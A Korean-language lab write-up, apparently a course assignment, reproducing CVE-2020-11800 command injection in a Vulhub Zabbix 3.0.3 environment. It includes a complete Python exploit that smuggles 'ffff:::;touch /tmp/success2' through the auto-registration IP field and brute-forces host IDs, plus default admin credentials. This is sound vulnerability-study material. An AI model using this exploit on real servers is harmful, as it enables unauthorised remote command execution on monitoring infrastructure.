
CVE-2020-11800에 대한 PoC 익스플로잇, 악성 에이전트 자동 등록을 통한 Zabbix 서버의 명령 주입, Python 기반 페이로드 전달 및 호스트 ID 무차별 대입 포함.
과제 지침에서 요구하는 섹션은 “(Required)”로 표시되어 있습니다.
이 환경은 Vulhub에서 제공하는 취약한 Zabbix 서버 이미지를 기반으로 한 사용자 정의 Dockerfile을 사용합니다.
FROM vulhub/zabbix:3.0.3-server
Dockerfile은 취약한 Zabbix 3.0.3 서버 환경을 사용하여 로컬 이미지를 빌드합니다. 빌드 과정에서 추가 패키지나 구성은 추가되지 않았습니다.
취약 환경은 Docker Compose를 사용하여 구성됩니다.
환경은 다음 네 가지 서비스로 구성됩니다.
server 서비스는 Dockerfile을 사용하여 로컬에서 빌드됩니다.
server:
build: .
image: cve-2020-11800-server
MySQL 컨테이너는 볼륨 마운트를 사용하여 src/ 디렉터리에서 SQL 초기화 파일을 자동으로 가져옵니다.
volumes:
- ./src/:/docker-entrypoint-initdb.d/
이를 통해 컨테이너가 시작될 때 데이터베이스 스키마와 초기 Zabbix 데이터가 자동으로 로드됩니다.
환경은 다음 구조로 작동합니다.
[Browser]
↓
[Zabbix Web]
↓
[Zabbix Server]
↓
[MySQL]
[Agent] → [Server]
브라우저를 통해 접근 가능한 웹 기반 관리 인터페이스를 제공합니다.
관리자는 이 인터페이스를 통해 자동 등록을 구성하고 모니터링 관련 작업을 수행합니다.
다음을 담당하는 핵심 구성 요소:
명령 삽입 취약점은 이 컨테이너 내부에서 트리거됩니다.
모니터링 대상 호스트 역할을 하며 Zabbix Server와 통신합니다.
익스플로잇은 에이전트 등록 과정에서 자동 등록 메커니즘을 악용합니다.
Zabbix 구성 데이터, 호스트 정보 및 모니터링 관련 데이터를 저장합니다.
| 서비스 | 이미지 | 버전 |
|---|---|---|
| Zabbix Server | vulhub/zabbix | 3.0.3-server |
| Zabbix Web | vulhub/zabbix | 3.0.3-web |
| MySQL | mysql | 5 |
환경은 Vulhub에서 제공하는 취약한 Zabbix 3.0.3 환경을 기반으로 합니다.
CVE-2020-11800은 Zabbix Server Active Proxy Trapper 기능의 명령 삽입 취약점입니다.
이 취약점은 CVE-2017-2824에 대한 패치가 불완전했기 때문에 존재합니다. 공격자는 IPv6 형식의 페이로드를 사용하여 원래 패치를 우회하고 Zabbix Server에서 임의 명령을 실행할 수 있습니다.
취약점은 서버가 사용자 제어 호스트 정보를 처리할 때 자동 등록 과정에서 트리거됩니다.
취약점의 근본 원인은 셸 명령 내에서 사용자 제어 입력을 안전하지 않게 처리하는 데 있습니다.
스크립트 실행 중에 Zabbix Server는 등록된 호스트 IP 값을 사용하여 다음과 같은 명령을 구성합니다.
ping <host_ip>
정상 조건에서는:
ping 127.0.0.1
그러나 공격자가 다음 페이로드를 사용하여 호스트를 등록하면:
ffff:::;touch /tmp/success2
셸이 실행하는 최종 명령은 다음과 같습니다.
ping ffff:::;touch /tmp/success2
세미콜론(;)이 셸 명령 구분자 역할을 하므로, 셸은 입력을 두 개의 개별 명령으로 해석합니다.
ping ffff:::
touch /tmp/success2
결과적으로 임의 명령 실행이 가능해집니다.
CVE-2017-2824에 대한 원래 패치는 악의적인 입력 값을 제한하려고 시도했습니다.
그러나 검증 로직이 IPv6 형식의 입력을 적절히 처리하지 못했습니다.
페이로드:
ffff:::;touch /tmp/success2
는 기존 검증 로직을 우회하면서 셸 메타 문자를 주입하기 위해 IPv6 유사 접두사(ffff:::)를 사용합니다.
이를 통해 공격자는 이전 패치를 우회하고 명령 삽입 취약점을 계속 악용할 수 있습니다.
익스플로잇 프로세스는 다음 순서로 발생합니다.
Attacker
↓
Fake Agent Registration
↓
Malicious IP Stored
↓
Zabbix Script Execution
↓
Shell Command Construction
↓
Command Injection
↓
Arbitrary Command Execution
공격자는 먼저 조작된 IP 필드가 포함된 악성 자동 등록 요청을 보냅니다.
호스트가 등록된 후, Zabbix Server는 저장된 호스트 IP 값을 사용하여 모니터링 스크립트를 실행합니다.
이 과정에서 악성 페이로드가 셸에 의해 해석되어 임의 명령 실행으로 이어집니다.
익스플로잇을 통해 공격자는 Zabbix Server 프로세스의 권한으로 임의 명령을 실행할 수 있습니다.
이 환경에서는 성공적인 익스플로잇으로 서버 컨테이너 내에 다음 파일이 생성되었습니다.
/tmp/success2
이는 주입된 셸 명령이 성공적으로 실행되었음을 확인합니다.
실제 환경에서 성공적인 익스플로잇은 공격자가 다음을 수행할 수 있게 합니다.
이 취약점은 모니터링 서버가 여러 내부 시스템 및 인프라 구성 요소에 대한 가시성을 가지는 경우가 많기 때문에 특히 위험합니다.
Proof of Concept(PoC)은 Python으로 작성되었으며 TCP 포트 10051을 통해 Zabbix Server와 직접 통신합니다.
PoC는 다음 작업을 수행합니다.
hostid 값 무차별 대입import sys
import socket
import json
def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
response = conn.recv(2048)
conn.close()
return response
if len(sys.argv) != 2:
print("Usage: python3 exploit.py <target-ip>")
sys.exit(1)
target = sys.argv[1]
payload = {
"request": "active checks",
"host": "vulhub",
"ip": "ffff:::;touch /tmp/success2"
}
print("[*] Sending malicious auto-registration request...")
print(send(target, payload))
print("[*] Brute forcing hostid and triggering script execution...")
for i in range(10000, 10500):
data = send(target, {
"request": "command",
"scriptid": 1,
"hostid": str(i)
})
if data and b'failed' not in data:
print("[+] hostid: %d" % i)
print(data)
이 PoC에 사용된 페이로드는 다음과 같습니다.
ffff:::;touch /tmp/success2
| 부분 | 목적 |
|---|---|
ffff::: | 검증 우회에 사용되는 IPv6 형식의 접두사 |
; | 셸 명령 구분자 |
touch /tmp/success2 | 서버에서 실행되는 임의 명령 |
페이로드는 서버가 사용자 제어 IP 값을 셸 명령에 부적절하게 연결한다는 점을 악용합니다.
페이로드는 자동 등록 과정 중 ip 필드를 통해 전달됩니다.
PoC가 보내는 첫 번째 요청은 악성 호스트를 등록하려고 시도합니다.
payload = {
"request": "active checks",
"host": "vulhub",
"ip": "ffff:::;touch /tmp/success2"
}
등록 후 PoC는 유효한 hostid를 찾으려고 시도합니다.
for i in range(10000, 10500):
PoC는 가능한 호스트 ID 범위를 반복하며 스크립트 실행을 트리거하려고 시도합니다.
이 단계는 등록 후 서버가 동적으로 호스트 ID를 할당하기 때문에 필요합니다.
다음 요청은 명령 실행을 트리거합니다.
{
"request": "command",
"scriptid": 1,
"hostid": str(i)
}
| 매개변수 | 설명 |
|---|---|
request | 스크립트 실행을 요청 |
scriptid | 구성된 Zabbix 스크립트의 ID |
hostid | 대상 호스트 ID |
이 환경에서 scriptid:1은 명령 실행 중 호스트 IP 값을 사용하는 ping 관련 스크립트에 해당합니다.
Zabbix Server는 내부적으로 다음과 유사한 셸 명령을 구성합니다.
ping ffff:::;touch /tmp/success2
셸은 이를 다음과 같이 해석합니다.
ping ffff:::
touch /tmp/success2
결과적으로:
touch 명령은 성공적으로 실행성공적인 익스플로잇 중에 다음과 유사한 출력이 나타날 수 있습니다.
ping: bad address 'ffff:::'
이는 페이로드가 셸 명령 실행 단계에 도달했음을 나타냅니다.
성공적인 익스플로잇은 서버 컨테이너 내에 다음 파일이 존재할 때 확인됩니다.
/tmp/success2
전체 익스플로잇 흐름은 아래에 요약되어 있습니다.
Start Docker Environment
↓
Access Zabbix Web Interface
↓
Enable Auto Registration
↓
Run exploit.py
↓
Register Malicious Host
↓
Trigger Script Execution
↓
Command Injection
↓
Verify /tmp/success2
Docker Compose를 사용하여 취약 환경을 시작합니다.
docker compose up -d
모든 컨테이너가 올바르게 실행 중인지 확인합니다.
docker compose ps
환경에는 다음 컨테이너가 포함되어야 합니다.
브라우저를 열고 Zabbix 웹 인터페이스에 접속합니다.
http://127.0.0.1:8080
기본 자격 증명:
Username: admin
Password: zabbix
익스플로잇을 위해서는 자동 등록 기능이 활성화되어 있어야 합니다.
다음으로 이동합니다.
Configuration → Actions
이벤트 소스를 다음으로 변경합니다.
Auto registration
새 액션을 생성하고 다음 작업을 구성합니다.
Operation Type: Add Host
이렇게 하면 새로 등록된 에이전트가 서버에 자동으로 추가됩니다.
PoC 스크립트를 실행합니다.
python3 exploit.py 127.0.0.1
PoC는 악성 자동 등록 요청을 보내고 여러 호스트 ID를 사용하여 명령 실행을 트리거하려고 시도합니다.
성공적인 익스플로잇 중에 다음과 유사한 출력이 나타날 수 있습니다.
hostid: 10106
{"response":"success","data":"ping: bad address 'ffff:::'"}
이는 페이로드가 취약한 셸 명령 실행 경로에 도달했음을 나타냅니다.
Zabbix Server 컨테이너에 접속합니다.
docker exec -it cve-2020-11800-server-1 bash
주입된 명령이 대상 파일을 생성했는지 확인합니다.
ls -l /tmp/success2
성공적인 익스플로잇은 다음과 유사한 출력을 생성합니다.
-rw-rw-r-- 1 zabbix zabbix 0 May 10 19:48 /tmp/success2
이는 Zabbix Server 컨테이너 내에서 임의 명령이 성공적으로 실행되었음을 확인합니다.
다음 스크린샷은 screenshots/ 디렉터리에 포함되어 있습니다.

